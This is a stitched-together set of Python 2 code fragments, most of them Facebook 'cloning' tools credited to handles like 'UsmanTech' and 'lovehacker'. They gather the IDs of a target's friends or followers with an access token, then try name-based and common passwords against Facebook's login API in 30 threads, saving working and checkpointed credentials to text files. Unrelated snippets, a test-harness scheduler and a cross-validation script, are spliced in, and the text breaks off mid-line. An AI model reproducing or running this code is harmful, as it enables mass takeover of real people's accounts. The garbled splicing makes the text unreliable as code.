urllib.urlopen("https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=2&email="+(user)+"&locale=en_US&password="******"&sdk=ios&generate_session_cookies=1&sig=3f555f99fb61fcd7aa0c44f58f522ef6") q = json.load(data) if 'access_token' in q: print '\x1b[1;96m[\x1b[1;92mSuccessful\x1b[1;96m]\x1b[1;97m ' + user + ' \x1b[1;96m|\x1b[1;97m ' + pass2 oks.append(user+pass2) else: if 'www.facebook.com' in q["error_msg"]: print '\x1b[1;96m[\x1b[1;93mCheckpoint\x1b[1;96m]\x1b[1;97m ' + user + ' \x1b[1;96m|\x1b[1;97m ' + pass2 cek = open("out/checkpoint.txt", "a") cek.write(user+"|"+pass2+"\n") cek.close() cekpoint.append(user+pass2) else: pass3 = b['first_name'] + 'muhammad123' data = urllib.urlopen("https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=2&email="+(user)+"&locale=en_US&password="******"&sdk=ios&generate_session_cookies=1&sig=3f555f99fb61fcd7aa0c44f58f522ef6") q = json.load(data) if 'access_token' in q: print '\x1b[1;96m[\x1b[1;92mSuccessful\x1b[1;96m]\x1b[1;97m ' + user + ' \x1b[1;96m|\x1b[1;97m ' + pass3 oks.append(user+pass3) else: if 'www.facebook.com' in q["error_msg"]: print '\x1b[1;96m[\x1b[1;93mCheckpoint\x1b[1;96m]\x1b[1;97m ' + user + ' \x1b[1;96m|\x1b[1;97m ' + pass3 cek = open("out/checkpoint.txt", "a") cek.write(user+"|"+pass3+"\n") cek.close() cekpoint.append(user+pass3) else: pass4 = 'Pakistan786' data = urllib.urlopen("https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=2&email="+(user)+"&locale=en_US&password="******"&sdk=ios&generate_session_cookies=1&sig=3f555f99fb61fcd7aa0c44f58f522ef6") q = json.load(data) if 'access_token' in q: print '\x1b[1;96m[\x1b[1;92mSuccessful\x1b[1;96m]\x1b[1;97m ' + user + ' \x1b[1;96m|\x1b[1;97m ' + pass4 oks.append(user+pass4) else: if 'www.facebook.com' in q["error_msg"]: print '\x1b[1;96m[\x1b[1;93mCheckpoint\x1b[1;96m]\x1b[1;97m ' + user + ' \x1b[1;96m|\x1b[1;97m ' + pass4 cek = open("out/checkpoint.txt", "a") cek.write(user+"|"+pass4+"\n") cek.close() cekpoint.append(user+pass4) else: pass5 = b['first_name'] + 'name123' data = urllib.urlopen("https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=2&email="+(user)+"&locale=en_US&password="******"&sdk=ios&generate_session_cookies=1&sig=3f555f99fb61fcd7aa0c44f58f522ef6") q = json.load(data) if 'access_token' in q: print '\x1b[1;96m[\x1b[1;92mSuccessful\x1b[1;96m]\x1b[1;97m ' + user + ' \x1b[1;96m|\x1b[1;97m ' + pass5 oks.append(user+pass5) else: if 'www.facebook.com' in q["error_msg"]: print '\x1b[1;96m[\x1b[1;93mCheckpoint\x1b[1;96m]\x1b[1;97m ' + user + ' \x1b[1;96m|\x1b[1;97m ' + pass5 cek = open("out/checkpoint.txt", "a") cek.write(user+"|"+pass5+"\n") cek.close() cekpoint.append(user+pass5) else: pass6 = b['first_name'] + 'pakistan' data = urllib.urlopen("https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=2&email="+(user)+"&locale=en_US&password="******"&sdk=ios&generate_session_cookies=1&sig=3f555f99fb61fcd7aa0c44f58f522ef6") q = json.load(data) if 'access_token' in q: print '\x1b[1;96m[\x1b[1;92mSuccessful\x1b[1;96m]\x1b[1;97m ' + user + ' \x1b[1;96m|\x1b[1;97m ' + pass6 oks.append(user+pass6) else: if 'www.facebook.com' in q["error_msg"]: print '\x1b[1;96m[\x1b[1;93mCheckpoint\x1b[1;96m]\x1b[1;97m ' + user + ' \x1b[1;96m|\x1b[1;97m ' + pass6 cek = open("out/checkpoint.txt", "a") cek.write(user+"|"+pass6+"\n") cek.close() cekpoint.append(user+pass6) else: a = requests.get('https://graph.facebook.com/'+user+'/?access_token='+toket) b = json.loads(a.text) pass7 = b['first_name'] + 'iloveyouname' data = urllib.urlopen("https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=2&email="+(user)+"&locale=en_US&password="******"&sdk=ios&generate_session_cookies=1&sig=3f555f99fb61fcd7aa0c44f58f522ef6") q = json.load(data) if 'access_token' in q: print '\x1b[1;96m[\x1b[1;92mSuccessful\x1b[1;96m]\x1b[1;97m ' + user + ' \x1b[1;96m|\x1b[1;97m ' + pass7 oks.append(user+pass7) else: if 'www.facebook.com' in q["error_msg"]: print '\x1b[1;96m[\x1b[1;93mCheckpoint\x1b[1;96m]\x1b[1;97m ' + user + ' \x1b[1;96m|\x1b[1;97m ' + pass7 cek = open("out/checkpoint.txt", "a") cek.write(user+"|"+pass7+"\n") cek.close() cekpoint.append(user+pass7) except: pass p = ThreadPool(30) p.map(main, id) print "\033[1;93m●●●●●●●●●●●●●●●●●●●●\033[1;92m<><>\033[1;93m●●●●●●●●●●●●●●●●●●●●" print " \033[1;93m«---------Developed By lovehacker------------»" print '\033[1;91mProcess Has Been Completed\033[1;92m....' print"\033[1;92mTotal OK/\x1b[1;93mCP \033[1;91m: \033[1;92m"+str(len(oks))+"\033[1;97m/\033[1;93m"+str(len(cekpoint)) print("\033[1;92mCP File Has Been Saved\033[1;92m:\033[1;97mout/checkpoint.txt") raw_input("\n\033[1;96m[\033[1;97mBack\033[1;96m]") menu()
if 'access_token' in q: print '\x1b[1;96m[\x1b[1;92mBerhasil\x1b[1;96m]\x1b[1;97m ' + user + ' \x1b[1;96m|\x1b[1;97m ' + pass7 oks.append(user+pass7) else: if 'www.facebook.com' in q["error_msg"]: print '\x1b[1;96m[\x1b[1;93mCekpoint\x1b[1;96m]\x1b[1;97m ' + user + ' \x1b[1;96m|\x1b[1;97m ' + pass7 cek = open("out/super_cp.txt", "a") cek.write(user+"|"+pass7+"\n") cek.close() cekpoint.append(user+pass7) except: pass p = ThreadPool(30) p.map(main, id) print 42*"\033[1;96m=" print '\033[1;96m[\033[1;97m✓\033[1;96m] \033[1;92mSuccessful \033[1;97m....' print"\033[1;96m[+] \033[1;92mTotal OK/\x1b[1;93mCP \033[1;91m: \033[1;92m"+str(len(oks))+"\033[1;97m/\033[1;93m"+str(len(cekpoint)) print("\033[1;96m[+] \033[1;92mYour CP File Saved \033[1;91m: \033[1;97mout/super_cp.txt") raw_input("\n\033[1;96m[\033[1;97mEnter Back\033[1;96m]") super() def grupsaya(): os.system('clear') try: toket=open('login.txt','r').read() except IOError: print"\033[1;96m[!] \x1b[1;91mToken tidak ditemukan"
def __init__(self, harness, params): MooseObject.__init__(self, harness, params) ## The test harness to run callbacks on self.harness = harness # Retrieve and store the TestHarness options for use in this object self.options = harness.getOptions() # The Scheduler class can be initialized with no "max_processes" argument and it'll default # to a soft limit. If however a max_processes is passed we'll treat it as a hard limit. # The difference is whether or not we allow single jobs to exceed the number of slots. if params['max_processes'] == None: self.available_slots = 1 self.soft_limit = True else: self.available_slots = params['max_processes'] # hard limit self.soft_limit = False self.average_load = params['average_load'] self.min_report_time = params['min_reported_time'] # Initialize run_pool based on available slots self.run_pool = ThreadPool(processes=self.available_slots) # Initialize status_pool to only use 1 process (to prevent status messages from getting clobbered) self.status_pool = ThreadPool(processes=1) # Slot lock when processing resource allocations and modifying slots_in_use self.slot_lock = threading.Lock() # Job lock when modifying a jobs status self.activity_lock = threading.Lock() # Job count lock when modifying incoming/outgoing jobs self.job_count_lock = threading.Lock() # A combination of processors + threads (-j/-n) currently in use, that a job requires self.slots_in_use = 0 # Count of jobs which need to complete self.job_count = 0 # Set containing all submitted jobs self.__job_bank = set([]) # Total running Job and Test failures encountered self.__failures = 0 # Allow threads to set a global exception self.__error_state = False # Private set of jobs currently running self.__active_jobs = set([]) # Jobs that are taking longer to finish than the alloted time are reported back early to inform # the user 'stuff' is still running. Jobs entering this set will not be reported again. self.jobs_reported = set([]) # The last time the scheduler reported something self.last_reported_time = clock() # Sets of threading objects created by jobs entering and exiting the queues. When scheduler.waitFinish() # is called, and both thread pools are empty, the pools shut down, and the call to waitFinish() returns. self.__status_pool_lock = threading.Lock() self.__runner_pool_lock = threading.Lock() self.__status_pool_jobs = set([]) self.__runner_pool_jobs = set([]) # True when scheduler.waitFinish() is called. This alerts the scheduler, no more jobs are # to be scheduled. KeyboardInterrupts are then handled by the thread pools. self.__waiting = False
default=3, type=int, help='number of folds for cross-validation') args = parser.parse_args() # get the command line arguments data_path = os.path.expanduser(args.data) num_folds = args.folds # load the data data = load_data(data_path) # create the folds folds = make_folds(data, num_folds) # create worker threads pool = ThreadPool(processes=num_folds) # fire up the workers classification_reports = pool.map(validate_with_fold_helper, zip(folds, repeat(data, num_folds))) pool.close() pool.join() for fold_number, report in enumerate(classification_reports, 1): print('******************fold_{}_results********************\n'.format( fold_number)) print(report) print('****************************************************\n')
def pilih_super(): peak = raw_input("\n\033[1;97mChoose an Option>>> \033[1;97m") if peak == "": print "\x1b[1;91mFill in correctly" pilih_super() elif peak == "1": os.system('clear') print logo print "\033[1;95m♡──────────•◈•──────────♡\033[1;96mUsmanTech\033[1;95m♡──────────•◈•──────────♡" jalan('\033[1;93mGetting IDs \033[1;97m...') r = requests.get( "https://graph.facebook.com/me/friends?access_token=" + toket) z = json.loads(r.text) for s in z['data']: id.append(s['id']) elif peak == "2": os.system('clear') print logo idt = raw_input( "\033[1;96m[♡] \033[1;92mEnter ID\033[1;93m: \033[1;97m") print "\033[1;95m♡──────────•◈•──────────♡\033[1;96mUsmanTech\033[1;95m♡──────────•◈•──────────╯♡" try: jok = requests.get("https://graph.facebook.com/" + idt + "?access_token=" + toket) op = json.loads(jok.text) print "\033[1;93mName\033[1;93m:\033[1;97m " + op["name"] except KeyError: print "\x1b[1;92mID Not Found!" raw_input("\n\033[1;96m[\033[1;94mUsman\033[1;96m]") super() print "\033[1;93mGetting IDs\033[1;93m..." r = requests.get("https://graph.facebook.com/" + idt + "/friends?access_token=" + toket) z = json.loads(r.text) for i in z['data']: id.append(i['id']) elif peak == "0": menu() else: print "\x1b[1;91mFill in correctly" pilih_super() print "\033[1;91mTotal IDs\033[1;93m: \033[1;94m" + str(len(id)) jalan('\033[1;92mPlease Wait\033[1;93m...') titik = ['. ', '.. ', '... '] for o in titik: print("\r\033[1;91mCloning\033[1;93m" + o), sys.stdout.flush() time.sleep(1) print "\n\033[1;94m«-----\x1b[1;93m♡To Stop Process Press CTRL+Z♡\033[1;94m----»" print "\033[1;95m♡──────────•◈•──────────♡\033[1;96mUsmanTech\033[1;95m♡──────────•◈•──────────♡" jalan(' \033[1;93m ........Cloning Start plzzz Wait.......... ') print "\033[1;95m♡──────────•◈•──────────♡\033[1;96mUsmanTech\033[1;95m♡──────────•◈•──────────♡" def main(arg): global cekpoint, oks user = arg try: os.mkdir('out') except OSError: pass try: a = requests.get('https://graph.facebook.com/' + user + '/?access_token=' + toket) b = json.loads(a.text) pass1 = ('786786') data = urllib.urlopen( "https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=2&email=" + (user) + "&locale=en_US&password="******"&sdk=ios&generate_session_cookies=1&sig=3f555f99fb61fcd7aa0c44f58f522ef6" ) q = json.load(data) if 'access_token' in q: print '\x1b[1;92mSuccessful\x1b[1;97m-\x1b[1;92m✧\x1b[1;97m-' + user + '-\x1b[1;94m✧\x1b[1;97m-' + pass1 oks.append(user + pass1) else: if 'www.facebook.com' in q["error_msg"]: print '\x1b[1;95mCheckpoint\x1b[1;97m-\x1b[1;94m✧\x1b[1;97m-' + user + '-\x1b[1;94m✧\x1b[1;97m-' + pass1 cek = open("out/checkpoint.txt", "a") cek.write(user + "|" + pass1 + "\n") cek.close() cekpoint.append(user + pass1) else: pass2 = 'Pakistan' data = urllib.urlopen( "https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=2&email=" + (user) + "&locale=en_US&password="******"&sdk=ios&generate_session_cookies=1&sig=3f555f99fb61fcd7aa0c44f58f522ef6" ) q = json.load(data) if 'access_token' in q: print '\x1b[1;92mSuccessful\x1b[1;97m-\x1b[1;94m✧\x1b[1;97m-' + user + '-\x1b[1;94m✧\x1b[1;97m-' + pass2 oks.append(user + pass2) else: if 'www.facebook.com' in q["error_msg"]: print '\x1b[1;95mCheckpoint\x1b[1;97m-\x1b[1;94m✧\x1b[1;97m-' + user + '-\x1b[1;94m✧\x1b[1;97m-' + pass2 cek = open("out/checkpoint.txt", "a") cek.write(user + "|" + pass2 + "\n") cek.close() cekpoint.append(user + pass2) else: pass3 = a['first_name'] + '123' data = urllib.urlopen( "https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=2&email=" + (user) + "&locale=en_US&password="******"&sdk=ios&generate_session_cookies=1&sig=3f555f99fb61fcd7aa0c44f58f522ef6" ) q = json.load(data) if 'access_token' in q: print '\x1b[1;92mSuccessful\x1b[1;97m-\x1b[1;94m✧\x1b[1;97m-' + user + '-\x1b[1;94m✧\x1b[1;97m-' + pass3 oks.append(user + pass3) else: if 'www.facebook.com' in q["error_msg"]: print '\x1b[1;95mCheckpoint\x1b[1;97m-\x1b[1;94m✧\x1b[1;97m-' + user + '-\x1b[1;94m✧\x1b[1;97m-' + pass3 cek = open("out/checkpoint.txt", "a") cek.write(user + "|" + pass3 + "\n") cek.close() cekpoint.append(user + pass3) else: pass4 = b['first_name'] + '@#$&' data = urllib.urlopen( "https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=2&email=" + (user) + "&locale=en_US&password="******"&sdk=ios&generate_session_cookies=1&sig=3f555f99fb61fcd7aa0c44f58f522ef6" ) q = json.load(data) if 'access_token' in q: print '\x1b[1;92mSuccessful\x1b[1;97m-\x1b[1;94m✧\x1b[1;97m-' + user + '-\x1b[1;94m✧\x1b[1;97m-' + pass4 oks.append(user + pass4) else: if 'www.facebook.com' in q[ "error_msg"]: print '\x1b[1;95mCheckpoint\x1b[1;97m-\x1b[1;94m✧\x1b[1;97m-' + user + '-\x1b[1;94m✧\x1b[1;97m-' + pass4 cek = open("out/checkpoint.txt", "a") cek.write(user + "|" + pass4 + "\n") cek.close() cekpoint.append(user + pass4) else: pass5 = b['last_name'] + '12345' data = urllib.urlopen( "https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=2&email=" + (user) + "&locale=en_US&password="******"&sdk=ios&generate_session_cookies=1&sig=3f555f99fb61fcd7aa0c44f58f522ef6" ) q = json.load(data) if 'access_token' in q: print '\x1b[1;92mSuccessful\x1b[1;97m-\x1b[1;94m✧\x1b[1;97m-' + user + '-\x1b[1;94m✧\x1b[1;97m-' + pass5 oks.append(user + pass5) else: if 'www.facebook.com' in q[ "error_msg"]: print '\x1b[1;95mCheckpoint\x1b[1;97m-\x1b[1;94m✧\x1b[1;97m-' + user + '-\x1b[1;94m✧\x1b[1;97m-' + pass5 cek = open( "out/checkpoint.txt", "a") cek.write(user + "|" + pass5 + "\n") cek.close() cekpoint.append(user + pass5) else: pass6 = b[ 'last123_name'] + 'khan' data = urllib.urlopen( "https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=2&email=" + (user) + "&locale=en_US&password="******"&sdk=ios&generate_session_cookies=1&sig=3f555f99fb61fcd7aa0c44f58f522ef6" ) q = json.load(data) if 'access_token' in q: print '\x1b[1;92mSuccessful\x1b[1;97m-\x1b[1;94m✧\x1b[1;97m-' + user + '-\x1b[1;94m✧\x1b[1;97m-' + pass6 oks.append(user + pass6) else: if 'www.facebook.com' in q[ "error_msg"]: print '\x1b[1;95mCheckpoint\x1b[1;97m-\x1b[1;94m✧\x1b[1;97m-' + user + '-\x1b[1;94m✧\x1b[1;97m-' + pass6 cek = open( "out/checkpoint.txt", "a") cek.write(user + "|" + pass6 + "\n") cek.close() cekpoint.append( user + pass6) else: a = requests.get( 'https://graph.facebook.com/' + user + '/?access_token=' + toket) b = json.loads( a.text) pass7 = b[ 'first_name'] + 'afridi' data = urllib.urlopen( "https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=2&email=" + (user) + "&locale=en_US&password="******"&sdk=ios&generate_session_cookies=1&sig=3f555f99fb61fcd7aa0c44f58f522ef6" ) q = json.load(data) if 'access_token' in q: print '\x1b[1;92mSuccessful\x1b[1;97m-\x1b[1;94m✧\x1b[1;97m-' + user + '-\x1b[1;94m✧\x1b[1;97m-' + pass7 oks.append( user + pass7) else: if 'www.facebook.com' in q[ "error_msg"]: print '\x1b[1;95mCheckpoint\x1b[1;97m-\x1b[1;94m✧\x1b[1;97m-' + user + '-\x1b[1;94m✧\x1b[1;97m-' + pass7 cek = open( "out/checkpoint.txt", "a") cek.write( user + "|" + pass7 + "\n") cek.close() cekpoint.append( user + pass7) except: pass p = ThreadPool(30) p.map(main, id) print "\033[1;95m♡──────────•◈•──────────♡\033[1;96mUsmanTech\033[1;95m♡──────────•◈•──────────♡" print " \033[1;93m«---•◈•---Mode By Usman Tech---•◈•---»" print '\033[1;91mProcess Has Been Completed\033[1;92m....' print "\033[1;91mTotal OK/\x1b[1;93mCP \033[1;91m: \033[1;91m" + str( len(oks)) + "\033[1;97m/\033[1;95m" + str(len(cekpoint)) print """ ...........███ ]▄▄▄▄▄▃ ..▂▄▅█████▅▄▃▂ [███████████████] ◥⊙▲⊙▲⊙▲⊙▲⊙▲⊙◤ ♡──────────────•◈•──────────────♡. : \033[1;96m .....Usman Khan Usman Tech........... \033[1;93m : ♡──────────────•◈•──────────────♡.' whatsapp Num +923134572306""" raw_input("\n\033[1;92m[\033[1;94mBack\033[1;96m]") menu()
def pilih_super(): peak = raw_input("\n\033[1;97mChoose an Option>>> \033[1;97m") if peak =="": print "\x1b[1;91mFill in correctly" pilih_super() elif peak =="1": os.system('clear') print logo print "\033[1;95m♡──────────•◈•──────────♡\033[1;96mXpartxn-rixo\033[1;95m♡──────────•◈•──────────♡" jalan('\033[1;93mGetting IDs \033[1;97m...') r = requests.get("https://graph.facebook.com/me/friends?access_token="+toket) z = json.loads(r.text) for s in z['data']: id.append(s['id']) elif peak =="2": os.system('clear') print logo idt = raw_input("\033[1;96m[♡] \033[1;92mEnter ID\033[1;93m: \033[1;97m") print "\033[1;95m♡──────────•◈•──────────♡\033[1;96mXpartxn-rixo\033[1;95m♡──────────•◈•──────────╯♡" try: jok = requests.get("https://graph.facebook.com/"+idt+"?access_token="+toket) op = json.loads(jok.text) print"\033[1;93mName\033[1;93m:\033[1;97m "+op["name"] except KeyError: print"\x1b[1;92mID Not Found!" raw_input("\n\033[1;96m[\033[1;94mBack\033[1;96m]") super() print"\033[1;93mGetting IDs\033[1;93m..." r = requests.get("https://graph.facebook.com/"+idt+"/friends?access_token="+toket) z = json.loads(r.text) for i in z['data']: id.append(i['id']) elif peak =="0": menu() else: print "\x1b[1;91mFill in correctly" pilih_super() print "\033[1;91mTotal IDs\033[1;93m: \033[1;94m"+str(len(id)) jalan('\033[1;92mPlease Wait\033[1;93m...') titik = ['. ','.. ','... '] for o in titik: print("\r\033[1;91mHacking\033[1;93m"+o),;sys.stdout.flush();time.sleep(1) print "\n\033[1;94m«-----\x1b[1;93m♡To Stop Process Press CTRL+Z♡\033[1;94m----»" print "\033[1;95m♡──────────•◈•──────────♡\033[1;96mXpartxn.rixo\033[1;95m♡──────────•◈•──────────♡" def main(arg): global cekpoint,oks user = arg try: os.mkdir('out') except OSError: pass #Dev:love_hack try: a = requests.get('https://graph.facebook.com/'+user+'/?access_token='+toket) b = json.loads(a.text) pass1 = ('786786') data = urllib.urlopen("https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=2&email="+(user)+"&locale=en_US&password="******"&sdk=ios&generate_session_cookies=1&sig=3f555f99fb61fcd7aa0c44f58f522ef6") q = json.load(data) if 'access_token' in q: print '\x1b[1;92mlogin\x1b[1;97m \x1b[1;92m✧\x1b[1;97m|' + user + '| \x1b[1;94m✧\x1b[1;97m-' + pass1 oks.append(user+pass1) else: if 'www.facebook.com' in q["error_msg"]: print '\x1b[1;95mCheck\x1b[1;97m-\x1b[1;94m✧\x1b[1;97m-' + user + '-\x1b[1;94m✧\x1b[1;97m-' + pass1 cek = open("out/checkpoint.txt", "a") cek.write(user+"|"+pass1+"\n") cek.close() cekpoint.append(user+pass1) else: pass2 = 'Pakistan' data = urllib.urlopen("https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=2&email="+(user)+"&locale=en_US&password="******"&sdk=ios&generate_session_cookies=1&sig=3f555f99fb61fcd7aa0c44f58f522ef6") q = json.load(data) if 'access_token' in q: print '\x1b[1;92mlogin\x1b[1;97m \x1b[1;94m✧\x1b[1;97m|' + user + '| \x1b[1;94m✧\x1b[1;97m-' + pass2 oks.append(user+pass2) else: if 'www.facebook.com' in q["error_msg"]: print '\x1b[1;95mCheck\x1b[1;97m-\x1b[1;94m✧\x1b[1;97m-' + user + '-\x1b[1;94m✧\x1b[1;97m-' + pass2 cek = open("out/checkpoint.txt", "a") cek.write(user+"|"+pass2+"\n") cek.close() cekpoint.append(user+pass2) except: pass p = ThreadPool(30) p.map(main, id) print "\033[1;95m♡──────────•◈•──────────♡\033[1;96mXpartxn-rixo\033[1;95m♡──────────•◈•──────────♡" print " \033[1;93m«---•◈•---Developed By Rixo---•◈•---»" #Dev:love_hack print '\033[1;91mProcess Has Been Completed\033[1;92m....' print"\033[1;91mTotal OK/\x1b[1;93mCP \033[1;91m: \033[1;91m"+str(len(oks))+"\033[1;97m/\033[1;95m"+str(len(cekpoint)) print """ "Gullyboy;
def b_menu_select(): select = raw_input('\t \x1b[1;35mChoose Option >>> \x1b[0;97m') id = [] oks = [] cps = [] if select == '1': os.system('clear') logo() print '' os.system('echo -e "\t Public ID Cloning " | lolcat') print '' idt = raw_input(' Put Id/user : '******'clear') logo() print '' os.system('echo -e "\t Gathering Information " | lolcat') print '' try: r = requests.get('https://graph.facebook.com/' + idt + '?access_token=' + token) q = json.loads(r.text) os.system('clear') logo() print '' os.system('echo -e "\t Public ID Cloning " | lolcat') print '' print ' Target user : '******'name'] except (KeyError, IOError): print '' print '\n\t \x1b[1;31m Logged in id has checkpoint\x1b[0;97m' print '' raw_input('\nPress enter to back ') b_menu() r = requests.get('https://graph.facebook.com/' + idt + '/friends?access_token=' + token) z = json.loads(r.text) for i in z['data']: uid = i['id'] na = i['name'] nm = na.rsplit(' ')[0] id.append(uid + '|' + nm) elif select == '2': os.system('clear') logo() print '' os.system('echo -e "\t Followers Cloning " | lolcat') print '' idt = raw_input(' Put Id/user : '******'clear') logo() print '' os.system('echo -e "\t Gathering Information " | lolcat') print '' try: r = requests.get('https://graph.facebook.com/' + idt + '?access_token=' + token, headers=header) q = json.loads(r.text) os.system('clear') logo() print '' os.system('echo -e "\t Followers Cloning" | lolcat') print '' print ' Target user : '******'name'] except (KeyError, IOError): print '' print '\n\t \x1b[1;31m Logged in id has checkpoint\x1b[0;97m' print '' raw_input('\nPress enter to back ') b_menu() r = requests.get('https://graph.facebook.com/' + idt + '/subscribers?access_token=' + token + '&limit=5000', headers=header) z = json.loads(r.text) for i in z['data']: uid = i['id'] na = i['name'] nm = na.rsplit(' ')[0] id.append(uid + '|' + nm) elif select == '3': view_token() elif select == '4': extract_dob() elif select == '5': method_menu() elif select == '6': logout() else: print '' print '\t ' + c + 'Select valid method' + c2 print '' b_menu_select() print ' Total IDs : ' + str(len(id)) time.sleep(0.5) print ' The process is running in background' print '' print 47 * '-' print '' def main(arg): user = arg uid, name = user.split('|') try: pass1 = name + '123' q = requests.get('https://mbasic.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=2&email=' + uid + '&locale=vi_vn&password='******'&sdk=ios&generate_session_cookies=1&sig=15df5f3c8c37e0a620e8fa1fd1dd705c', headers=header).text d = json.loads(q) if 'www.facebook.com' in d['error_msg']: print '[Checkpoint] ' + uid + ' | ' + pass1 cp = open('cp.txt', 'a') cp.write(uid + ' | ' + pass1 + '\n') cp.close() cps.append(uid) elif 'access_token' in d: print '\x1b[1;92m[Successfull] \x1b[1;30m' + uid + ' | ' + pass1 + '\x1b[1;0m' ok = open('ok.txt', 'a') ok.write(uid + ' | ' + pass1 + '\n') ok.close() oks.append(uid) else: pass2 = name + '1234' q = requests.get('https://mbasic.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=2&email=' + uid + '&locale=vi_vn&password='******'&sdk=ios&generate_session_cookies=1&sig=15df5f3c8c37e0a620e8fa1fd1dd705c', headers=header).text d = json.loads(q) if 'www.facebook.com' in d['error_msg']: print '[Checkpoint] ' + uid + ' | ' + pass2 cp = open('cp.txt', 'a') cp.write(uid + ' | ' + pass2 + '\n') cp.close() cps.append(uid) elif 'access_token' in d: print '\x1b[1;92m[Successfull] \x1b[1;30m' + uid + ' | ' + pass2 + '\x1b[1;0m' ok = open('ok.txt', 'a') ok.write(uid + ' | ' + pass2 + '\n') ok.close() oks.append(uid) else: pass3 = name + '12345' q = requests.get('https://mbasic.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=2&email=' + uid + '&locale=vi_vn&password='******'&sdk=ios&generate_session_cookies=1&sig=15df5f3c8c37e0a620e8fa1fd1dd705c', headers=header).text d = json.loads(q) if 'www.facebook.com' in d['error_msg']: print '[Checkpoint] ' + uid + ' | ' + pass3 cp = open('cp.txt', 'a') cp.write(uid + ' | ' + pass3 + '\n') cp.close() cps.append(uid) elif 'access_token' in d: print ' \x1b[1;92m[Successfull] \x1b[1;30m' + uid + ' | ' + pass3 + '\x1b[1;0m' ok = open('ok.txt', 'a') ok.write(uid + ' | ' + pass3 + '\n') ok.close() oks.append(uid) else: pass4 = name + '786' q = requests.get('https://mbasic.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=2&email=' + uid + '&locale=vi_vn&password='******'&sdk=ios&generate_session_cookies=1&sig=15df5f3c8c37e0a620e8fa1fd1dd705c', headers=header).text d = json.loads(q) if 'www.facebook.com' in d['error_msg']: print '[Checkpoint] ' + uid + ' | ' + pass4 cp = open('cp.txt', 'a') cp.write(uid + ' | ' + pass4 + '\n') cp.close() cps.append(uid) elif 'access_token' in d: print '\x1b[1;92m[Successfull] \x1b[1;30m' + uid + ' | ' + pass4 + '\x1b[1;0m' ok = open('ok.txt', 'a') ok.write(uid + ' | ' + pass4 + '\n') ok.close() oks.append(uid) else: pass5 = '786786' q = requests.get('https://mbasic.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=2&email=' + uid + '&locale=vi_vn&password='******'&sdk=ios&generate_session_cookies=1&sig=15df5f3c8c37e0a620e8fa1fd1dd705c', headers=header).text d = json.loads(q) if 'www.facebook.com' in d['error_msg']: print '[Checkpoint] ' + uid + ' | ' + pass5 cp = open('cp.txt', 'a') cp.write(uid + ' | ' + pass5 + '\n') cp.close() cps.append(uid) elif 'access_token' in d: print '\x1b[1;92m[Successfull] \x1b[1;30m' + uid + ' | ' + pass5 + '\x1b[1;0m' ok = open('ok.txt', 'a') ok.write(uid + ' | ' + pass5 + '\n') ok.close() oks.append(uid) else: pass6 = '000786' q = requests.get('https://mbasic.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=2&email=' + uid + '&locale=vi_vn&password='******'&sdk=ios&generate_session_cookies=1&sig=15df5f3c8c37e0a620e8fa1fd1dd705c', headers=header).text d = json.loads(q) if 'www.facebook.com' in d['error_msg']: print '[Checkpoint] ' + uid + ' | ' + pass6 cp = open('cp.txt', 'a') cp.write(uid + ' | ' + pass6 + '\n') cp.close() cps.append(uid) elif 'access_token' in d: print '\x1b[1;92m[Successfull] \x1b[1;30m' + uid + ' | ' + pass6 + '\x1b[1;0m' ok = open('ok.txt', 'a') ok.write(uid + ' | ' + pass6 + '\n') ok.close() oks.append(uid) else: pass7 = 'pakistan' q = requests.get('https://mbasic.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=2&email=' + uid + '&locale=vi_vn&password='******'&sdk=ios&generate_session_cookies=1&sig=15df5f3c8c37e0a620e8fa1fd1dd705c', headers=header).text d = json.loads(q) if 'www.facebook.com' in d['error_msg']: print '[Checkpoint] ' + uid + ' | ' + pass7 cp = open('cp.txt', 'a') cp.write(uid + ' | ' + pass7 + '\n') cp.close() cps.append(uid) elif 'access_token' in d: print '\x1b[1;92m[Successfull] \x1b[1;30m' + uid + ' | ' + pass7 + '\x1b[1;0m' ok = open('ok.txt', 'a') ok.write(uid + ' | ' + pass7 + '\n') ok.close() oks.append(uid) except: pass p = 